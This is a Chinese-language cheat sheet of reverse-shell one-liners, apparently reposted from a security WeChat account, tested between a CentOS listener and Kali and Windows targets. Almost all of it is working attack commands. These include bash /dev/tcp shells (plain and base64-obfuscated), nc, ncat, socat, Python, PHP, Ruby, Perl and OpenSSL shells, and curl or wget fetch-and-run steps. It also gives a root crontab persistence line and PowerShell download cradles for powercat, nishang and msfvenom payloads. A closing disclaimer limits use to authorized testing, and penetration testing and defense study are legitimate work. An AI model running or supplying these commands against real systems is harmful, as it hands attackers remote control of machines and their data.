反弹shell命令速查
2022-9-10 00:4:30 Author: LemonSec(查看原文) 阅读量:13 收藏

【监听端】centos: 192.168.35.152【被控端】kali: 192.168.35.128 # 监听端执行[[email protected] ~]# nc -vvl 7777Ncat: Version 7.50 ( https://nmap.org/ncat )Ncat: Listening on :::7777Ncat: Listening on 0.0.0.0:7777

bash

┌──([email protected])-[/home/kali]└─# bash -i >& /dev/tcp/192.168.35.152/7777 0>&1 # 执行失败 zsh: 没有那个文件或目录: /dev/tcp/192.168.35.152/7777

bash base64

# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA==}|{base64,-d}|{bash,-i}'

bash base64 URLencode

# /bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1bash -c '{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzUuMTUyLzc3NzcgMD4mMSAgIA%3D%3D}|{base64,-d}|{bash,-i}'

nc

nc -e /bin/bash 192.168.35.152 7777mknod backpipe p && nc 192.168.35.152 7777 0<backpipe | /bin/bash 1>backpipe rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.35.152 7777 >/tmp/f

ncat

ncat 192.168.35.152 7777 -e /bin/bashncat --udp 192.168.35.152 7777 -e /bin/bash

curl

攻击方:

cat bash.html/bin/bash -i >& /dev/tcp/192.168.35.152/7777 0>&1

被控端:

curl 192.168.35.152/bash.html|bash

http

攻击方:

# 编写shell脚本并启动http服务器echo "bash -i >& /dev/tcp/192.168.35.152/7777 0>&1" > shell.shpython2环境下:python -m SimpleHTTPServer 80python3环境下:python -m http.server 80

被控端:

# 上传shell.sh文件wget 192.168.35.152/shell.sh# 执行shell.sh文件bash shell.sh

crontab

* * * * * root bash -i >& /dev/tcp/192.168.35.152/7777 0>&1

whois

# 只能执行指定命令,如pwd命令whois -h 192.168.35.152 -p 7777 `pwd`

python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.35.152",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.35.152",7777).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' # 执行失败ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.35.152","7777");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

socat

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.35.152:7777

perl

perl -e 'use Socket;$i="192.168.35.152";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php

php -r '$sock=fsockopen("192.168.35.152",7777);exec("/bin/sh -i <&3 >&3 2>&3");'

openssl

# 监听端openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesopenssl s_server -quiet -key key.pem -cert cert.pem -port 7777# orncat --ssl -vv -l -p 7777
# 受控端mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.35.152:7777 > /tmp/s; rm /tmp/s

  • Windows下的反弹shell仅测试了nc,执行成功。

【监听端】centos: 192.168.35.152【被控端】windows: 192.168.35.1 # 监听端执行[[email protected] ~]# nc -vvl 7777Ncat: Version 7.50 ( https://nmap.org/ncat )Ncat: Listening on :::7777Ncat: Listening on 0.0.0.0:7777

powercat

项目地址:https://github.com/besimorhino/powercat

System.Net.Webclient.DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.35.152 -p 7777 -e cmd

nc

nc 192.168.35.152 7777 -e c:\windows\system32\cmd.exe

nishang

Nishang是一个基于PowerShell的攻击框架,整合了一些PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。

项目地址:https://github.com/samratashok/nishang

# 将nishang下载到攻击者本地,在目标机使用powershell执行以下命令IEX (New-Object Net.WebClient).DownloadString('http://192.168.159.134/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.35.152 -port 7777

Reverse UDP shell

IEX (New-Object Net.WebClient).DownloadString('http://192.168.35.152/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.35.152 -port 7777

MSF

# 找出各类反弹一句话payload的路径信息msfvenom -l payloads | grep 'cmd/windows/reverse'
# 生成反弹shell,复制粘贴到靶机上运行msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.35.152 LPORT=7777

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果。本文转自:渗透师老A

 热文推荐  

欢迎关注LemonSec
推荐阅读↓↓↓

觉得不错点个“赞”、“在看”


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247535038&idx=1&sn=913e31158ecc3ef496c3a96e4482f5e0&chksm=f9e326e5ce94aff3acc4bb3a70257b46819368669869ab90337c7b71db033abd3784434c2211#rd
如有侵权请联系:admin#unsafe.sh